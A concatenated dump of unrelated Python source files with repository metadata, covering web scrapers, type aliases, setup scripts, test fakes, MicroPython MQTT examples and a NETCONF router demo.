# we may be at a page which won't have the item we are looking for pubTitles = find_pubTitle(driver,journal_list[journal_counter]) for url in url_dict[journal]: url = url + '&pubTitles=' + pubTitles # update every url in the list driver.get(url_dict[journal][year][0]) # reload the first page with the new url except: pass # if there is an exception, it means we are on the right page scraped_elems = scrape_page(driver) # scrape the page scraped_urls, titles = clean(scraped_elems) proxy_urls = proxify(scraped_urls,uw_prefix) # not even sure this is needed write_urls(proxy_urls,titles,file,journal,year) url_counter += len(proxy_urls) print('Total URLs saved is: ',url_counter) if len(scraped_elems) < 100: # after content is saved, go to the next year break # because we know this is the last page of urls for this year file.close() driver.quit()

0a7ef598ad33e1712e909b5218a858b7b8de970f

py

Python

superset/typing.py

GodelTech/superset

da170aa57e94053cf715f7b41b09901c813a149a

2020-07-31T04:50:01.000Z

2021-12-08T07:56:42.000Z

superset/typing.py

GodelTech/superset

da170aa57e94053cf715f7b41b09901c813a149a

2020-02-02T07:54:13.000Z

2022-03-23T18:22:04.000Z

superset/typing.py

GodelTech/superset

da170aa57e94053cf715f7b41b09901c813a149a

2020-03-25T01:02:29.000Z

2021-05-12T17:11:19.000Z

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from datetime import datetime from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union from flask import Flask from flask_caching import Cache from werkzeug.wrappers import Response CacheConfig = Union[Callable[[Flask], Cache], Dict[str, Any]] DbapiDescriptionRow = Tuple[ str, str, Optional[str], Optional[str], Optional[int], Optional[int], bool ] DbapiDescription = Union[List[DbapiDescriptionRow], Tuple[DbapiDescriptionRow, ...]] DbapiResult = Sequence[Union[List[Any], Tuple[Any, ...]]] FilterValue = Union[datetime, float, int, str] FilterValues = Union[FilterValue, List[FilterValue], Tuple[FilterValue]] FormData = Dict[str, Any] Granularity = Union[str, Dict[str, Union[str, float]]] AdhocMetric = Dict[str, Any] Metric = Union[AdhocMetric, str] OrderBy = Tuple[Metric, bool] QueryObjectDict = Dict[str, Any] VizData = Optional[Union[List[Any], Dict[Any, Any]]] VizPayload = Dict[str, Any] # Flask response. Base = Union[bytes, str] Status = Union[int, str] Headers = Dict[str, Any] FlaskResponse = Union[ Response, Base, Tuple[Base, Status], Tuple[Base, Status, Headers], ]

0a81693f8777fdc22a6d886900c28851626fa805

py

Python

lemur/deployment/service.py

rajatsharma94/lemur

99f46c1addcd40154835e151d0b189e1578805bb

2015-09-20T03:12:28.000Z

2022-03-29T18:00:54.000Z

lemur/deployment/service.py

rajatsharma94/lemur

99f46c1addcd40154835e151d0b189e1578805bb

2015-09-18T23:15:24.000Z

2022-03-30T22:40:02.000Z

lemur/deployment/service.py

rajatsharma94/lemur

99f46c1addcd40154835e151d0b189e1578805bb

2015-09-18T23:02:18.000Z

2022-02-20T16:13:14.000Z

from lemur import database def rotate_certificate(endpoint, new_cert): """ Rotates a certificate on a given endpoint. :param endpoint: :param new_cert: :return: """ # ensure that certificate is available for rotation endpoint.source.plugin.update_endpoint(endpoint, new_cert) endpoint.certificate = new_cert database.update(endpoint)

0a8741dde6ef103d06812289a7da5d5ee4748c1d

py

Python

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

from pathlib import Path import pickle import tkinter as tk import tkinter.filedialog def open_dialog(**opt): """Parameters ---------- Options will be passed to `tkinter.filedialog.askopenfilename`. See also tkinter's document. Followings are example of frequently used options. - filetypes=[(label, ext), ...] - label: str - ext: str, semicolon separated extentions - initialdir: str, default Path.cwd() - multiple: bool, default False Returns -------- filename, str """ root = tk.Tk() root.withdraw() root.wm_attributes("-topmost", True) opt_default = dict(initialdir=Path.cwd()) _opt = dict(opt_default, **opt) return tk.filedialog.askopenfilename(**_opt) def saveas_dialog(**opt): """Parameters ---------- Options will be passed to `tkinter.filedialog.asksaveasfilename`. See also tkinter's document. Followings are example of frequently used options. - filetypes=[(label, ext), ...] - label: str - ext: str, semicolon separated extentions - initialdir: str, default Path.cwd() - initialfile: str, default isn't set Returns -------- filename, str """ root = tk.Tk() root.withdraw() root.wm_attributes("-topmost", True) opt_default = dict(initialdir=Path.cwd()) _opt = dict(opt_default, **opt) return tk.filedialog.asksaveasfilename(**_opt) def load_pickle_with_dialog(mode='rb', **opt): """Load a pickled object with a filename assigned by tkinter's open dialog. kwargs will be passed to saveas_dialog. """ opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')]) _opt = dict(opt_default, **opt) fn = open_dialog(**_opt) if fn == '': # canceled return None with Path(fn).open(mode) as f: data = pickle.load(f) return data def dump_pickle_with_dialog(obj, mode='wb', **opt): """Pickle an object with a filename assigned by tkinter's saveas dialog. kwargs will be passed to saveas_dialog. Returns -------- filename: str """ opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')]) _opt = dict(opt_default, **opt) fn = saveas_dialog(**_opt) if fn == '': # canceled return '' # note: 上書き確認はtkinterがやってくれるのでここではチェックしない with Path(fn).open(mode) as f: pickle.dump(obj, f) return fn

0a880ef41f3bfd67c8ea6c85667d8aef79348500

py

Python

cinder/tests/unit/fake_group_snapshot.py

lightsey/cinder

e03d68e42e57a63f8d0f3e177fb4287290612b24

2015-01-01T17:47:26.000Z

2022-03-23T07:46:36.000Z

cinder/tests/unit/fake_group_snapshot.py

vexata/cinder

7b84c0842b685de7ee012acec40fb4064edde5e9

2015-01-22T23:27:04.000Z

2021-02-05T16:38:48.000Z

cinder/tests/unit/fake_group_snapshot.py

vexata/cinder

7b84c0842b685de7ee012acec40fb4064edde5e9

2015-01-04T17:17:11.000Z

2022-03-31T12:06:51.000Z

# Copyright 2016 EMC Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_versionedobjects import fields from cinder import objects from cinder.tests.unit import fake_constants as fake def fake_db_group_snapshot(**updates): db_group_snapshot = { 'id': fake.GROUP_SNAPSHOT_ID, 'name': 'group-1', 'status': 'available', 'user_id': fake.USER_ID, 'project_id': fake.PROJECT_ID, 'group_type_id': fake.GROUP_TYPE_ID, 'group_id': fake.GROUP_ID, } for name, field in objects.GroupSnapshot.fields.items(): if name in db_group_snapshot: continue if field.nullable: db_group_snapshot[name] = None elif field.default != fields.UnspecifiedDefault: db_group_snapshot[name] = field.default else: raise Exception('fake_db_group_snapshot needs help with %s.' % name) if updates: db_group_snapshot.update(updates) return db_group_snapshot def fake_group_snapshot_obj(context, **updates): return objects.GroupSnapshot._from_db_object( context, objects.GroupSnapshot(), fake_db_group_snapshot(**updates))

0a89d9e3455e77e62d24b044c32fc90cbc464fc1

py

Python

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

2019-08-04T20:37:55.000Z

2020-03-05T08:36:10.000Z

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

2019-10-21T05:43:28.000Z

2019-10-21T05:43:28.000Z

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

import setuptools setuptools.setup( name = 'sili-canvas', version = '0.0.1', license = 'MIT', url = 'https://github.com/SilicalNZ/canvas', description = 'A series of easy to use classes to perform complex 2D array transformations', long_description = '', author = 'SilicalNZ', packages = ['canvas', 'canvas.common', 'canvas.tools'] )

0a90c84a059304b0e838dbe80594658dfad7edd3

py

Python

blmath/geometry/apex.py

metabolize/blmath

8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da

2019-09-28T16:48:34.000Z

2022-03-25T17:05:46.000Z

blmath/geometry/apex.py

metabolize/blmath

8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da

2019-09-09T16:42:02.000Z

2021-06-25T15:25:50.000Z

blmath/geometry/apex.py

metabolize/blmath

8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da

2017-05-09T16:15:07.000Z

2019-02-15T14:15:30.000Z

import numpy as np from blmath.numerics import vx def apex(points, axis): ''' Find the most extreme point in the direction of the axis provided. axis: A vector, which is an 3x1 np.array. ''' coords_on_axis = points.dot(axis) return points[np.argmax(coords_on_axis)] def inflection_points(points, axis, span): ''' Find the list of vertices that preceed inflection points in a curve. The curve is differentiated with respect to the coordinate system defined by axis and span. axis: A vector representing the vertical axis of the coordinate system. span: A vector representing the the horiztonal axis of the coordinate system. returns: a list of points in space corresponding to the vertices that immediately preceed inflection points in the curve ''' coords_on_span = points.dot(span) dx = np.gradient(coords_on_span) coords_on_axis = points.dot(axis) # Take the second order finite difference of the curve with respect to the # defined coordinate system finite_difference_2 = np.gradient(np.gradient(coords_on_axis, dx), dx) # Compare the product of all neighboring pairs of points in the second derivative # If a pair of points has a negative product, then the second derivative changes sign # at one of those points, signalling an inflection point is_inflection_point = [finite_difference_2[i] * finite_difference_2[i + 1] <= 0 for i in range(len(finite_difference_2) - 1)] inflection_point_indices = [i for i, b in enumerate(is_inflection_point) if b] if len(inflection_point_indices) == 0: # pylint: disable=len-as-condition return [] return points[inflection_point_indices] def farthest(from_point, to_points): ''' Find the farthest point among the inputs, to the given point. Return a tuple: farthest_point, index_of_farthest_point. ''' absolute_distances = vx.magnitude(to_points - from_point) index_of_farthest_point = np.argmax(absolute_distances) farthest_point = to_points[index_of_farthest_point] return farthest_point, index_of_farthest_point

0a950c28a9d44906d9a72986af5603b4ab55c885

py

Python

setup.py

bcongdon/instapaper-to-sqlite

378b87ffcd2832aeff735dd78a0c8206d220b899

2021-10-04T05:48:51.000Z

2021-10-04T05:48:51.000Z

setup.py

bcongdon/instapaper-to-sqlite

378b87ffcd2832aeff735dd78a0c8206d220b899

setup.py

bcongdon/instapaper-to-sqlite

378b87ffcd2832aeff735dd78a0c8206d220b899

2022-02-26T14:12:13.000Z

2022-02-26T14:12:13.000Z

import os from setuptools import setup VERSION = "0.2" def get_long_description(): with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), "README.md"), encoding="utf8", ) as fp: return fp.read() setup( name="instapaper-to-sqlite", description="Save data from Instapaper to a SQLite database", long_description=get_long_description(), long_description_content_type="text/markdown", author="Benjamin Congdon", author_email="me@bcon.gdn", url="https://github.com/bcongdon/instapaper-to-sqlite", project_urls={ "Source": "https://github.com/bcongdon/instapaper-to-sqlite", "Issues": "https://github.com/bcongdon/instapaper-to-sqlite/issues", }, classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Topic :: Database", ], keywords="instapaper sqlite export dogsheep", version=VERSION, packages=["instapaper_to_sqlite"], entry_points=""" [console_scripts] instapaper-to-sqlite=instapaper_to_sqlite.cli:cli """, install_requires=[ "click", "requests", "sqlite-utils~=3.17", "pyinstapaper @ git+https://github.com/bcongdon/pyinstapaper#egg=pyinstapaper", ], extras_require={"test": ["pytest"]}, tests_require=["instapaper-to-sqlite[test]"], )

0a96a8a9570ed3b24a4bfee94944da9262d1bde3

py

Python

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

2020-09-09T02:34:28.000Z

2020-09-09T02:34:28.000Z

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

#! -*- coding: utf-8 -*- from setuptools import setup, find_packages setup( name='bert4keras', version='0.8.4', description='an elegant bert4keras', long_description='bert4keras: https://github.com/bojone/bert4keras', license='Apache License 2.0', url='https://github.com/bojone/bert4keras', author='bojone', author_email='bojone@spaces.ac.cn', install_requires=['keras<=2.3.1'], packages=find_packages() )

0a96c59de05ef2cf939a78138027073d3aeef532

py

Python

sztuczna_inteligencja/3-lab/backtrackingSolve.py

Magikis/Uniwersity

06964ef31d721af85740df1dce3f966006ab9f78

2017-11-30T08:45:48.000Z

2018-04-26T14:15:45.000Z

sztuczna_inteligencja/3-lab/backtrackingSolve.py

Magikis/Uniwersity

06964ef31d721af85740df1dce3f966006ab9f78

sztuczna_inteligencja/3-lab/backtrackingSolve.py

Magikis/Uniwersity

06964ef31d721af85740df1dce3f966006ab9f78

2017-10-16T09:42:59.000Z

2018-01-27T19:48:45.000Z

# import cProfile # import pstats # import io from picture import * # pr = cProfile.Profile() # pr.enable() def out(p): for i in range(2): print([len(x) for x in p.perms[i]]) if __name__ == '__main__': p = Picture() p.genPerms() p.detuctAll() p.backtrackLoop() p.saveOtput() # pr.disable() # s = io.StringIO() # sortby = 'cumulative' # ps = pstats.Stats(pr, stream=s).sort_stats(sortby) # ps.print_stats() # print(s.getvalue())

0a96db7bc8255b1b1b651c9085fc3a06e4243461

py

Python

mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

from __future__ import division from mmtbx.tls import tools import math import time pdb_str_1 = """ CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1 ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C ATOM 1 CA THR B 6 3.000 0.000 0.000 1.00 0.00 C """ pdb_str_2 = """ CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1 ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C ATOM 1 CA THR B 6 0.000 3.000 0.000 1.00 0.00 C """ pdb_str_3 = """ CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1 ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C ATOM 1 CA THR B 6 0.000 0.000 3.000 1.00 0.00 C """ pdb_str_4 = """ CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1 ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C ATOM 1 CA THR B 6 1.000 2.000 3.000 1.00 0.00 C """ def exercise_03(): sqrt = math.sqrt vs = [] vs.append( [(sqrt(2)/2, sqrt(2)/2, 0), (-sqrt(2)/2, sqrt(2)/2, 0), (0,0,1)] ) vs.append( [(1,0,0), (0, sqrt(2)/2, sqrt(2)/2), (0, -sqrt(2)/2, sqrt(2)/2)] ) vs.append( [(sqrt(3)/2, 1/2, 0), (-1/2, sqrt(3)/2, 0), (0,0,1)] ) vs.append( [(1,0,0), (0, sqrt(3)/2, 1/2), (0, -1/2, sqrt(3)/2)] ) for pdb_str in [pdb_str_1, pdb_str_2, pdb_str_3, pdb_str_4]: for vs_ in vs: vx,vy,vz = vs_ print vx,vy,vz tools.u_tls_vs_u_ens(pdb_str=pdb_str, tx=0.05,ty=0.07,tz=0.09, vx=vx, vy=vy, vz=vz, n_models=1000) if (__name__ == "__main__"): t0 = time.time() exercise_03() print "Time: %6.4f"%(time.time()-t0) print "OK"

0a96e21fb56076c17506b44887fb9f2f8344e7b0

py

Python

elliesite/context_processors.py

davidkartuzinski/ellieplatformsite

63a41cb2a15ae81a7cd3cdf68d783398b3205ce2

2021-06-26T22:18:31.000Z

2021-06-26T22:18:31.000Z

ellie/context_processors.py

open-apprentice/ellieplatform-website

3018feb05a2a44b916afba3e8e2eb71c18147117

2021-06-26T22:38:45.000Z

2021-07-07T15:49:43.000Z

elliesite/context_processors.py

davidkartuzinski/ellieplatformsite

63a41cb2a15ae81a7cd3cdf68d783398b3205ce2

2021-07-07T15:33:43.000Z

2021-07-07T15:33:43.000Z

import sys from django.urls import resolve def global_vars(request): return { 'GLOBAL_TWITTER_ACCOUNT': '@open_apprentice', 'ORGANIZATION_NAME': 'Open Apprentice Foundation', 'ORGANIZATION_WEBSITE': 'https://openapprentice.org', 'ORGANIZATION_LOGO': '/static/img/ellie/open-apprentice-logo-full.png', # relative URL with pre /, 'SITE_LOGO_URL': '/static/img/ellie/ellie-platform-logo.png', # relative URL with pre / 'APPNAME': sys.modules[resolve(request.path_info).func.__module__].__package__, }

0a98cfd9f20dfc0c1b38e64c743a29230c7a8c4f

py

Python

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

import random names_string = input("내기를 할 친구들의 이름을 적습니다. 콤마(,)로 분리해서 적습니다.\n") names = names_string.split(",") print(names) n = random.randint(0, len(names)) print(f"오늘 커피는 {names[n]}가 쏩니다!")

0a99a93e656914b21bfd27861c1447d786a91bee

py

Python

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

2017-07-14T10:08:13.000Z

2022-03-22T22:09:14.000Z

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

2017-08-18T15:56:17.000Z

2022-03-20T11:28:23.000Z

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

2017-09-02T18:00:23.000Z

2022-03-31T23:26:22.000Z

import network def conncb(task): print("[{}] Connected".format(task)) def disconncb(task): print("[{}] Disconnected".format(task)) def subscb(task): print("[{}] Subscribed".format(task)) def pubcb(pub): print("[{}] Published: {}".format(pub[0], pub[1])) def datacb(msg): print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2]) mqtt = network.mqtt("loboris", "mqtt://loboris.eu", user="wifimcu", password="wifimculobo", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb) # secure connection requires more memory and may not work # mqtts = network.mqtt("eclipse", "mqtts//iot.eclipse.org", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb) # wsmqtt = network.mqtt("eclipse", "ws://iot.eclipse.org:80/ws", cleansession=True, data_cb=datacb) mqtt.start() #mqtt.config(lwt_topic='status', lwt_msg='Disconected') ''' # Wait until status is: (1, 'Connected') mqtt.subscribe('test') mqtt.publish('test', 'Hi from Micropython') mqtt.stop() ''' # ================== # ThingSpeak example # ================== import network def datacb(msg): print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2]) thing = network.mqtt("thingspeak", "mqtt://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb) # or secure connection #thing = network.mqtt("thingspeak", "mqtts://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb) thingspeakChannelId = "123456" # enter Thingspeak Channel ID thingspeakChannelWriteApiKey = "ThingspeakWriteAPIKey" # EDIT - enter Thingspeak Write API Key thingspeakFieldNo = 1 thingSpeakChanelFormat = "json" pubchan = "channels/{:s}/publish/{:s}".format(thingspeakChannelId, thingspeakChannelWriteApiKey) pubfield = "channels/{:s}/publish/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey) subchan = "channels/{:s}/subscribe/{:s}/{:s}".format(thingspeakChannelId, thingSpeakChanelFormat, thingspeakChannelWriteApiKey) subfield = "channels/{:s}/subscribe/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey) thing.start() tmo = 0 while thing.status()[0] != 2: utime.sleep_ms(100) tmo += 1 if tmo > 80: print("Not connected") break # subscribe to channel thing.subscribe(subchan) # subscribe to field thing.subscribe(subfield) # publish to channel # Payload can include any of those fields separated b< ';': # "field1=value;field2=value;...;field8=value;latitude=value;longitude=value;elevation=value;status=value" thing.publish(pubchan, "field1=25.2;status=On line") # Publish to field thing.publish(pubfield, "24.5")

0aaa92e8b56443a2b167621484f9881042d7391b

py

Python

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

def banner_text(text): screen_width = 80 if len(text) > screen_width - 4: print("EEK!!") print("THE TEXT IS TOO LONG TO FIT IN THE SPECIFIED WIDTH") if text == "*": print("*" * screen_width) else: centred_text = text.center(screen_width - 4) output_string = "**{0}**".format(centred_text) print(output_string) banner_text("*") banner_text("Always look on the bright side of life...") banner_text("If life seems jolly rotten,") banner_text("There's something you've forgotten!") banner_text("And that's to laugh and smile and dance and sing,") banner_text(" ") banner_text("When you're feeling in the dumps,") banner_text("Don't be silly chumps,") banner_text("Just purse your lips and whistle - that's the thing!") banner_text("And... always look on the bright side of life...") banner_text("*") result = banner_text("Nothing is returned") print(result) numbers = [4, 2, 7, 5, 8, 3, 9, 6, 1] print(numbers.sort())

0abbc3e1d5afde9470d734d62bcb0511ac93cadd

py

Python

samples/samplenetconf/demos/vr_demo3.py

gaberger/pysdn

67442e1c259d8ca8620ada95b95977e3852463c5

2017-08-22T14:17:10.000Z

2017-08-22T14:17:10.000Z

samples/samplenetconf/demos/vr_demo3.py

gaberger/pysdn

67442e1c259d8ca8620ada95b95977e3852463c5

2021-03-26T00:47:22.000Z

2021-03-26T00:47:22.000Z

samples/samplenetconf/demos/vr_demo3.py

gaberger/pysdn

67442e1c259d8ca8620ada95b95977e3852463c5

#!/usr/bin/python # Copyright (c) 2015, BROCADE COMMUNICATIONS SYSTEMS, INC # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from this # software without specific prior written permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF # THE POSSIBILITY OF SUCH DAMAGE. """ @authors: Sergei Garbuzov @status: Development @version: 1.1.0 """ import time import json from pysdn.controller.controller import Controller from pysdn.netconfdev.vrouter.vrouter5600 import VRouter5600 from pysdn.common.status import STATUS from pysdn.common.utils import load_dict_from_file def vr_demo_3(): f = "cfg4.yml" d = {} if(load_dict_from_file(f, d) is False): print("Config file '%s' read error: " % f) exit() try: ctrlIpAddr = d['ctrlIpAddr'] ctrlPortNum = d['ctrlPortNum'] ctrlUname = d['ctrlUname'] ctrlPswd = d['ctrlPswd'] nodeName = d['nodeName'] nodeIpAddr = d['nodeIpAddr'] nodePortNum = d['nodePortNum'] nodeUname = d['nodeUname'] nodePswd = d['nodePswd'] rundelay = d['rundelay'] except: print ("Failed to get Controller device attributes") exit(0) print ("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<") print ("<<< Demo Start") print ("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<") print ("\n") ctrl = Controller(ctrlIpAddr, ctrlPortNum, ctrlUname, ctrlPswd) vrouter = VRouter5600(ctrl, nodeName, nodeIpAddr, nodePortNum, nodeUname, nodePswd) print ("<<< 'Controller': %s, '%s': %s" % (ctrlIpAddr, nodeName, nodeIpAddr)) print ("\n") time.sleep(rundelay) node_configured = False result = ctrl.check_node_config_status(nodeName) status = result.get_status() if(status.eq(STATUS.NODE_CONFIGURED)): node_configured = True print ("<<< '%s' is configured on the Controller" % nodeName) elif(status.eq(STATUS.DATA_NOT_FOUND)): node_configured = False else: print ("\n") print "Failed to get configuration status for the '%s'" % nodeName print ("!!!Demo terminated, reason: %s" % status.detailed()) exit(0) if node_configured is False: result = ctrl.add_netconf_node(vrouter) status = result.get_status() if(status.eq(STATUS.OK)): print ("<<< '%s' added to the Controller" % nodeName) else: print ("\n") print ("!!!Demo terminated, reason: %s" % status.detailed()) exit(0) print ("\n") time.sleep(rundelay) result = ctrl.check_node_conn_status(nodeName) status = result.get_status() if(status.eq(STATUS.NODE_CONNECTED)): print ("<<< '%s' is connected to the Controller" % nodeName) else: print ("\n") print ("!!!Demo terminated, reason: %s" % status.brief().lower()) exit(0) print("\n") print ("<<< Show configuration of the '%s'" % nodeName) time.sleep(rundelay) result = vrouter.get_cfg() status = result.get_status() if(status.eq(STATUS.OK)): print ("'%s' configuration:" % nodeName) cfg = result.get_data() data = json.loads(cfg) print json.dumps(data, indent=4) else: print ("\n") print ("!!!Demo terminated, reason: %s" % status.brief().lower()) exit(0) print "\n" print (">>> Remove '%s' NETCONF node from the Controller" % nodeName) time.sleep(rundelay) result = ctrl.delete_netconf_node(vrouter) status = result.get_status() if(status.eq(STATUS.OK)): print ("'%s' NETCONF node was successfully removed " "from the Controller" % nodeName) else: print ("\n") print ("!!!Demo terminated, reason: %s" % status.brief()) exit(0) print ("\n") print (">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>") print (">>> Demo End") print (">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>") if __name__ == "__main__": vr_demo_3()

0ac3dcb6f4a277998e57f0001095aaf45bef6fae

py

Python

app/main.py

MichaelLeeman/Job_Web_Scraper

29205d84f1190830a77174ce8272f4f79bb3468b

app/main.py

MichaelLeeman/Job_Web_Scraper

29205d84f1190830a77174ce8272f4f79bb3468b

2020-05-25T19:54:58.000Z

2020-05-25T19:55:03.000Z

app/main.py

MichaelLeeman/Job_Web_Scraper

29205d84f1190830a77174ce8272f4f79bb3468b

2020-07-02T13:06:52.000Z

2020-07-02T13:06:52.000Z

# This program scraps data from job postings on the website workinstartups.com and appends it to an excel worksheet. import os from datetime import datetime, timedelta from selenium import webdriver from app import web_scraper from app import excel job_list, last_date = [], None file_path = os.path.abspath("main.py").rstrip('/app/main.py') + '//Workbooks' + "//Job_Openings.xlsx" print("-" * 75, "-" * 75, "\n\t\t\t\t\t\t\t JOB WEB SCRAPER", "-" * 75, "-" * 75, sep="\n") print("\n") # If the Job_Openings workbook already exists then append the jobs not already in the worksheet # by checking the date of the first job in excel, since the last time the site was scraped. if os.path.isfile(file_path): print("Job_Opening excel file already exists. Loading workbook.", "-" * 75, sep="\n") workbook, worksheet = excel.load_xlsx(file_path) last_scrape_date = excel.get_first_job_date(worksheet) last_scrape_date = datetime.strptime(last_scrape_date, "%d-%b-%Y") # If not, create a new workbook and append all of the jobs posted within the month else: print("Creating new Excel workbook.", "-" * 75, sep="\n") current_date = datetime.today() date_month_ago = current_date - timedelta(weeks=4.348) # Average amount of weeks in a month last_scrape_date = date_month_ago.replace(hour=0, minute=0, second=0, microsecond=0) # default to midnight workbook, worksheet = excel.init_xlsx(worksheet_title="Job Openings") # Open webdriver to workinstartups.com and create soup print("Creating soup and opening Chrome webdriver", "-"*75, sep="\n") URL = "https://workinstartups.com/job-board/jobs-in/london" soup = web_scraper.soup_creator(URL, max_retry=1, sleep_time=0) driver = webdriver.Chrome('./chromedriver') driver.get(URL) driver.find_element_by_link_text('Close').click() # Scrap the jobs from workinstartups.com and update the worksheet with the found jobs print("Scraping jobs from workinstartups.com. Please wait.", "-" * 75, sep="\n") job_list = web_scraper.search_for_jobs(soup, last_scrape_date, driver) print("Scraping finished. Updating and saving Excel workbook.", "-" * 75, sep="\n") driver.close() excel.update_xlsx(worksheet, job_list) excel.save_xlsx(workbook, file_path) print("Finished!", sep="\n")

0ac3e100821a287c22e2857e9d532f5d8e059c8b

py

Python

